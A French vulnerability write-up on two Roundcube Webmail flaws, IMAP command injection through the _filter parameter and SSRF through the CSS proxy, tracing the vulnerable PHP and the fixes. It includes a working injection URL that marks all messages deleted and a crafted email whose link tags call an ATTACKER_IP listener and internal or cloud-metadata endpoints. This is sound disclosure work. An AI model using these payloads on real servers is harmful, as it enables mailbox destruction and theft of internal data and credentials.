Roundcube : failles d'injection de commandes IMAP et de SSRF
Analyse approfondie de deux vulnérabilités critiques découvertes dans Roundcube Webmail (< 1.6.14, 1.5.14, 1.7 RC4) lors d'une revue de code source. OVE-2026-8 permet à des attaquants authentifiés d'injecter des commandes IMAP arbitraires via le paramètre _filter, faute d'assainissement des CRLF. OVE-2026-9 permet une Server-Side Request Forgery (SSRF) en exploitant le mécanisme de proxy CSS, donnant accès à des ressources du réseau interne et aux métadonnées cloud.
OVE-2026-8 & OVE-2026-9
Roundcube Webmail : injection de commandes IMAP et SSRF via le proxy CSS
24 mars 2026 · CVSS 8.1 Élevée · CVSS 6.8 Moyenne · Roundcube < 1.6.14, 1.5.14, 17 RC5
| ID CVE | CVSS | Versions affectées | Versions corrigées |
|---|---|---|---|
| OVE-2026-8 | 8.1 Élevée | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
| OVE-2026-9 | 6.8 Moyenne | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
Mise à jour : les vulnérabilités ont d'abord été suivies par Ostorlab sous les identifiants internes OVE-2026-8 et OVE-2026-9, puis publiées dans la base CVE le 3 avril sous les références CVE-2026-35538 (injection de commandes IMAP) et CVE-2026-35540 (SSRF via le proxy CSS).
L'histoire
Tout a commencé comme la plupart des audits, par un git clone . Chez Ostorlab, j'étudiais une vulnérabilité XSS stockée connue dans Roundcube, impliquant les balises SVG <animate> : analyse de la CVE, traçage de la logique du sanitizer et construction d'un exploit fonctionnel. Ce travail m'a poussé plus loin dans le code. Ce qui avait commencé comme une recherche ciblée sur une CVE est devenu une revue de code source plus large, une semaine avant la publication de Roundcube 1.5.14 / 1.6.14 / 1.7 RC5.
Je ne cherchais plus rien de précis. Je lisais du code, je traçais les flux de données, je suivais les entrées utilisateur depuis les paramètres HTTP jusqu'à leur destination. Deux chemins ont retenu mon attention : l'un menait d'un paramètre de filtre de recherche directement à un socket IMAP brut, et l'autre transformait le pipeline de rendu CSS de Roundcube en proxy ouvert pour des requêtes vers le réseau interne.
Les deux découvertes ont été soumises à l'équipe de sécurité de Roundcube via HackerOne. Les deux ont été renvoyées comme doublons. La nouvelle version publiée environ une semaine plus tard a corrigé les deux problèmes. Cet article documente les deux découvertes telles que je les ai trouvées : le code vulnérable, la chaîne d'exploitation et le correctif.
Injection de commandes IMAP

Server-Side Request Forgery via le proxy CSS

OVE-2026-8 : injection de commandes IMAP via le paramètre _filter
Le point d'exécution
Lorsqu'un utilisateur de Roundcube recherche dans sa boîte aux lettres, l'application assemble une commande IMAP SEARCH à partir de plusieurs paramètres d'URL. L'un d'eux est _filter, un mot-clé prédéfini comme UNSEEN ou FLAGGED qui restreint le périmètre de la recherche. La valeur est lue depuis la requête GET puis concaténée dans une chaîne de commande IMAP brute qui est écrite directement sur le socket TCP du serveur IMAP.
La question était simple : que se passe-t-il si _filter contient autre chose qu'un mot-clé de recherche ?
Traçage du flux de données
J'ai commencé au point d'entrée dans program/actions/mail/search.php, ligne 45 :
$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));
La fonction get_input_string() appelle strip_tags() sur l'entrée, ce qui supprime les balises HTML, puis trim(). Aucune de ces fonctions ne touche aux caractères \r\n. Une séquence CRLF intégrée dans la valeur du paramètre traverse les deux fonctions parfaitement intacte.
La valeur $filter transite par search_input() à la ligne 58, qui l'utilise telle quelle lorsqu'il s'agit d'une chaîne non vide différente de ALL. De là, elle atteint rcube_imap_generic::search() dans program/lib/Roundcube/rcube_imap_generic.php, où elle est ajoutée aux paramètres de la commande IMAP :
// rcube_imap_generic.php, line 2010-2019
$criteria = trim($search_str);
$params = '';
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria; // raw concatenation, no escaping
} else {
$params .= 'ALL';
}
La chaîne $criteria, qui contient toujours d'éventuels CRLF intégrés, est concaténée directement dans $params. Elle est ensuite transmise à execute(), qui appelle r_implode(). Pour les arguments de type chaîne, r_implode() renvoie la valeur telle quelle :
// rcube_imap_generic.php, line 4099-4102
function r_implode($element) {
if (!is_array($element)) {
return $element; // verbatim return — no escaping
}
// ...
}
Enfin, putLineC() écrit la commande assemblée sur le socket IMAP. Elle ne découpe que sur le motif de chaîne littérale {N}\r\n, pas sur les séquences CRLF isolées. Toute la charge, commande légitime et commande injectée, est donc écrite sur le socket en un seul bloc :
// rcube_imap_generic.php, line 147
$parts = preg_split("/(\{[0-9]+\}\r\n)/m", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
// Bare \r\n does NOT cause a split — the whole string goes in one fwrite()
Le serveur IMAP, qui utilise un protocole délimité par lignes, interprète \r\n comme un terminateur de commande et analyse ce qui suit comme une commande entièrement distincte, contrôlée par l'attaquant.
L'ironie : escape() existe mais n'est jamais appelée
Le code contient déjà une fonction qui neutraliserait cette attaque. rcube_imap_generic::escape() à la ligne 4293 détecte les caractères CRLF et convertit la chaîne en littéral IMAP ({N}\r\n<value>), que le serveur traite comme une donnée et non comme une limite de commande :
function escape($string) {
if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
return '"' . addcslashes($string, '\\"') . '"';
}
// CRLF detected → safe literal-string encoding
return sprintf("{%d}\r\n%s", strlen($string), $string);
}
Mais search.php n'appelle jamais escape() sur $filter. Elle est appelée sur $search(ligne 65), la requête en texte libre de l'utilisateur, mais le paramètre de filtre emprunte un chemin de code entièrement différent et atteint le socket sans traitement.
À quoi ressemble l'attaque
A single crafted URL is all it takes:
GET /?_task=mail&_action=search&_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)
%0d%0a se décode en \r\n. Après le traitement par Roundcube, le serveur IMAP reçoit :
A001 UID SEARCH UNSEEN ← legitimate search
A099 STORE 1:* +FLAGS (\Deleted) ← injected command: flag all messages as deleted
Deux commandes IMAP distinctes à partir d'un seul paramètre HTTP. La commande injectée s'exécute avec tous les privilèges de la session IMAP de l'utilisateur authentifié.
Preuve de concept
La vidéo suivante montre la chaîne d'exploitation complète, depuis la fabrication de l'URL malveillante jusqu'à l'exécution de la commande IMAP injectée sur le serveur.
Vidéo de preuve de concept de l'injection de commandes IMAP
Sévérité
Tout utilisateur Roundcube authentifié peut injecter des commandes IMAP arbitraires via un seul paramètre GET. La surface d'attaque comprend :
- Manipulation de la boîte aux lettres : marquer tous les messages comme supprimés, déplacer des messages entre dossiers
- Exfiltration de données : commandes FETCH pour récupérer le contenu des messages
- Abus des ACL : SETACL pour accorder au compte d'un attaquant un accès en lecture aux dossiers de la boîte aux lettres de la victime
- Déni de service : EXPUNGE pour supprimer définitivement des messages, SUBSCRIBE/UNSUBSCRIBE pour perturber la visibilité des dossiers
Le correctif
Le correctif supprime les caractères CRLF de la chaîne de recherche avant qu'elle n'atteigne le socket IMAP, en les remplaçant par des espaces :
// program/actions/mail/search.php
// We pass the filter as-is into IMAP SEARCH command. A newline could be used
// to inject extra commands, so we remove these.
$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
Le même assainissement a également été appliqué à $message_id dans send.php pour fermer un chemin d'injection similaire via la gestion des brouillons :
// program/actions/mail/send.php
$message_id = preg_replace('/[\r\n]+/', '', $message_id);
Tout CRLF intégré, la clé pour injecter une seconde commande IMAP, est neutralisé avant d'atteindre le socket.
OVE-2026-9 : Server-Side Request Forgery via le proxy CSS
Le point d'exécution
La deuxième découverte provient d'une partie entièrement différente du code. Lorsque Roundcube affiche un e-mail HTML, il réécrit les balises CSS externes <link> pour qu'elles pointent vers un point de terminaison proxy interne (modcss.php). C'est un choix de conception : il empêche le navigateur de la victime de récupérer directement des URL contrôlées par l'attaquant, ce qui pourrait servir au suivi. Mais cela crée un nouveau problème : c'est désormais le serveur Roundcube qui effectue la requête.
Traçage du flux de données
Lorsque le sanitizer HTML de Roundcube (rcube_washtml) rencontre une balise <link rel="stylesheet"> dans un e-mail, la fonction washtml_link_callback() de program/actions/mail/index.php (ligne 1285) stocke l'URL dans la session PHP :
// index.php:1283-1292
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
$tempurl = 'tmp-' . md5($attrib['href']) . '.css';
$_SESSION['modcssurls'][$tempurl] = $attrib['href']; // stored as-is, no host validation
$attrib['href'] = $rcmail->url([
'task' => 'utils',
'action' => 'modcss',
'u' => $tempurl,
]);
}
L'URL est stockée telle quelle : la seule vérification est qu'elle commence par http:// ou https://. Aucune liste d'autorisation de noms d'hôte, aucune liste de blocage d'IP, aucune restriction sur les adresses privées ou de bouclage.
Lorsque la victime ouvre l'e-mail et clique sur « Afficher le contenu distant », le navigateur demande l'URL réécrite, qui atteint modcss.php. Le gestionnaire récupère l'URL d'origine dans la session et effectue une requête HTTP GET côté serveur avec GuzzleHttp :
// modcss.php:40-52
$realurl = $_SESSION['modcssurls'][$url];
if (!preg_match('~^https?://~i', $realurl)) {
$rcmail->output->sendExitError(403, 'Invalid URL'); // only scheme check
}
$client = rcube::get_instance()->get_http_client();
$response = $client->get($realurl); // server fetches arbitrary URL
Entre le stockage en session et la requête HTTP, il n'y a ni résolution de nom d'hôte, ni validation d'IP, ni vérification par rapport aux plages de réseaux privés. Le serveur Roundcube récupérera sans difficulté http://169.254.169.254/latest/meta-data/, http://127.0.0.1:3306/, voire toute autre URL interne.
À quoi ressemble l'attaque
L'attaquant envoie un e-mail HTML contenant des balises <link> intégrées :
<html>
<head>
<link rel="stylesheet" href="http://ATTACKER_IP:4000/callback.css">
<link rel="stylesheet" href="http://internal-api:8080/api/secrets">
</head>
<body>Please review the attached quarterly report.</body>
</html>
Lorsque la victime consulte l'e-mail et autorise le contenu distant : 1. Roundcube stocke les deux URL dans $_SESSION['modcssurls'] 2. Le navigateur demande /?_task=utils&_action=modcss&_u=tmp-{md5} pour chacune 3. modcss.php récupère côté serveur l'écouteur de l'attaquant et le point de terminaison de l'API interne 4. L'écouteur de l'attaquant journalise une requête provenant de l'IP du serveur Roundcube (et non du navigateur de la victime) 5. Si l'API interne renvoie text/css ou text/plain, le corps de la réponse est relayé au navigateur par le proxy
Confirmation par test
J'ai testé cela contre Roundcube 1.6.13 dans un environnement Docker, avec un conteneur internal-api accessible uniquement depuis le réseau Docker. Les résultats :
-
Confirmation par callback : l'écouteur HTTP de l'attaquant a reçu une requête provenant de l'IP du conteneur Roundcube, avec le User-Agent : GuzzleHttp/7. La requête provenait du serveur, et non du navigateur de la victime.
-
Exfiltration depuis un service interne : le point de terminaison de l'API interne, inaccessible depuis le navigateur de la victime, a renvoyé sa réponse via le proxy modcss. Le corps de la réponse était visible dans l'onglet Network des DevTools du navigateur.
-
Métadonnées cloud : sur une instance GCP,
http://169.254.169.254/a renvoyé une réponse avecContent-Type: application/text. Commemodcss.phpne relaie que les types de contenutext/cssettext/plain, le corps de la réponse a été bloqué. Cependant, la SSRF s'est quand même déclenchée, comme le confirment le user-agentGuzzleHttp/7dans les logs d'accès Apache et le temps de réponse quasi instantané (preuve que le serveur a bien atteint le point de terminaison de métadonnées). Sur AWS avec IMDSv1, le point de terminaison de métadonnées renvoietext/plain, qui serait relayé vers le navigateur.
Preuve de concept
La vidéo suivante montre la SSRF en action : envoi d'un e-mail forgé contenant des URL internes dans des balises CSS <link> et observation des requêtes côté serveur.
Vidéo de preuve de concept de la SSRF via le proxy CSS
Sévérité
Tout attaquant capable de délivrer un e-mail dans une boîte aux lettres Roundcube peut déclencher cette SSRF avec une seule interaction de l'utilisateur. L'impact comprend :
- Reconnaissance du réseau interne : sonder des services liés à la boucle locale ou à des hôtes internes au VPC
- Vol d'identifiants cloud : AWS IMDSv1 renvoie des identifiants IAM en text/plain, entièrement relayés
- Exfiltration de données : tout service interne qui renvoie text/css ou text/plain voit sa réponse relayée vers le navigateur
Le correctif
Le correctif a introduit une nouvelle fonction rcube_utils::is_local_url() qui utilise la bibliothèque mlocati/ip-lib et vérifie les URL par rapport aux plages privées, de bouclage et link-local :
// program/lib/Roundcube/rcube_utils.php — new is_local_url() method
// Blocked ranges:
// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
// IPv6: ::1/128, fc00::/7
// Hostnames: localhost, localhost.localdomain
Cette vérification s'applique à deux endroits. D'abord, lorsque la balise <link> est stockée dans la session, les URL locales sont désormais rejetées avant même d'atteindre le proxy :
// program/actions/mail/index.php
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
Ensuite, le client HTTP de modcss.php désactive désormais les redirections, ce qui empêche les attaquants de contourner la validation de l'URL via des chaînes de redirection :
// program/actions/utils/modcss.php
$client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
Références
| Ressource | Lien |
|---|---|
| Modifications du correctif entre Roundcube 1.6.13 & 1.6.14 | https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14 |